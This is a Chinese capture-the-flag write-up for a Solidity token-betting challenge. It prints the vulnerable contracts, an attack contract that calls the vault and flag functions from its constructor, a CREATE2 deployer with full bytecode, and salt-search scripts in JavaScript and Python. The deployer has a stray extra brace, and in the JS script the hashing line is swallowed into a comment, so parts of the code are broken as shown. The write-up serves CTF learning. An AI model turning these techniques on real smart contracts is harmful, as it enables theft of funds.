源码:
pragma solidity ^0.6.12;
contract betToken{
mapping(address=>uint)public balance;
constructor()public{
balance[msg.sender] += 10000000 *10 **18;
}
function balanceOf(address account)public view returns(uint){
return balance[account];
}
function transfer(address to,uint amount)external{
_transfer(msg.sender,to,amount);
}
function _transfer(address from,address to,uint amount)internal{
require(balance[from] >= amount,"amount exceed");
require(to != address(0),"you cant burn my token");
require(balance[to]+amount >= balance[to]);
balance[from] -= amount;
balance[to] += amount;
}
}
contract betGame{
//only my family can use the whole contract
// i will check your appearance to check if you are my family
betToken public token;
bytes20 internal appearance = bytes20(bytes32("ZT"))>>144;
bytes20 internal maskcode = bytes20(uint160(0xffff));
mapping(address=>bool)public status;
event SendFlag(address addr);
constructor()public{
token = new betToken();
}
modifier only_family{
require(is_my_family(msg.sender),
"no no no,my family only");
_;
}
modifier only_EOA{
uint x;
assembly {
x := extcodesize(caller())
}
require(x == 0,"Only EOA can do that");
_;
}
function is_my_family(address account) internal returns (bool) {
bytes20 you = bytes20(account);
bytes20 code = maskcode;
bytes20 feature = appearance;
for (uint256 i = 0; i < 34; i++) {
if (you & code == feature) {
return true;
}
code <<= 4;
feature <<= 4;
}
return false;
}
function share_my_vault()external only_EOA only_family{
token.transfer(msg.sender,token.balanceOf(address(this)));
}
function payforflag() public{
require(token.balance(msg.sender) >= 10000000 *10 **18, "Try again");
emit SendFlag(msg.sender);
}
}
分析:
这道题呢清晰易懂,就是考我们地址构造的问题。也就是create2!
CREATE2 操作码
这个操作码本质上是另一种部署智能合约的方法,只是在计算新的合约地址时不一样。它会用到:
- 部署地址
- 部署合约代码字节码的哈希
- 创建者提供的随机的
salt
(32 字节字符串).
keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]
过关需要我们的balance大于10000000 *10**18, 主要的难点在于满足 only_family。仔细观察is_my_family。
maskcode、appearance可以通过再写一个合约设为public就可以直接看见值。
每次for循环都会使code和feature的二进制值左移四位,等于在十六进制中左移一位,并且他们移位也是同步的,因此,我们明白只要调用地址(you)含有5a54就可以满足条件。
构造:
1.写出攻击合约
contract attack{
betGame betgame=betGame(0xd9145CCE52D386f254917e481eB44e9943F39138);
constructor() public{
betgame.share_my_vault();
betgame.payforflag();
}
}
2.编译,取字节码
3.写构造地址合约
contract deploy{
bytes contractBytecode = hex"608060405273d9145cce52d386f254917e481eb44e9943f391386000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3442ead6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156100cd57600080fd5b505af11580156100e1573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b50505050603f806101736000396000f3fe6080604052600080fdfea2646970667358221220bfcb85a73a39f9957b30cdcc5b00a0fc63282eced0ef1f94f169ae3b283a2dea64736f6c634300060c0033"
function deploy(bytes32 salt) public {
bytes memory bytecode = contractBytecode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
}
function getHash()public view returns(bytes32){
return keccak256(contractBytecode);
}
}
}
4.计算salt
网上查到两个脚本
这个是js的
const eth = require('ethereumjs-util')
// 0xff ++ deployingAddress is fixed:
var string1 = '0xffca4dfd86a86c48c5d9c228bedbeb7f218a29c94b'
// Hash of the bytecode is fixed. Calculated with eth.keccak256():
var string2 = '4670da3f633e838c2746ca61c370ba3dbd257b86b28b78449f4185480e2aba51'
// In each loop, i is the value of the salt we are checking
for (var i = 0; i < 72057594037927936; i++) {
// 1. Convert i to hex, and it pad to 32 bytes:
var saltToBytes = i.toString(16).padStart(64, '0')
// 2. Concatenate this between the other 2 strings
var concatString = string1.concat(saltToBytes).concat(string2)
// 3. Hash the resulting string var hashed = eth.bufferToHex(eth.keccak256(concatString)) // 4. Remove leading 0x and 12 bytes
// 5. Check if the result contains badc0de
if (hashed.substr(26).includes('badc0de')) {
console.log(saltToBytes)
break
} }
这个是python的
from web3 import Web3
s1 = '0xfff68777A4bB36a06BC5c03c6ddDb3Dd3f482Ba5a6'
s3 = '6fd122b1ed268149c197d543cdee1f6c93b9322d845ed7340fc47a60a6005563'
i = 0
while(1):
salt = hex(i)[2:].rjust(64, '0')
s = s1+salt+s3
hashed = Web3.sha3(hexstr=s)
hashed_str = ''.join(['%02x' % b for b in hashed])
if '5a54' in hashed_str[26:]:
print(salt,hashed_str)
break
i += 1
print(salt)
算出salt为0x000000000000000000000000000000000000000000000000000000000000116c
将部署的地址为0x50a20596c3b14cb4a41dbbb5a54d9813307a8943
将salt输入,攻击合约自动部署
查看余额,到手!!
flag拿到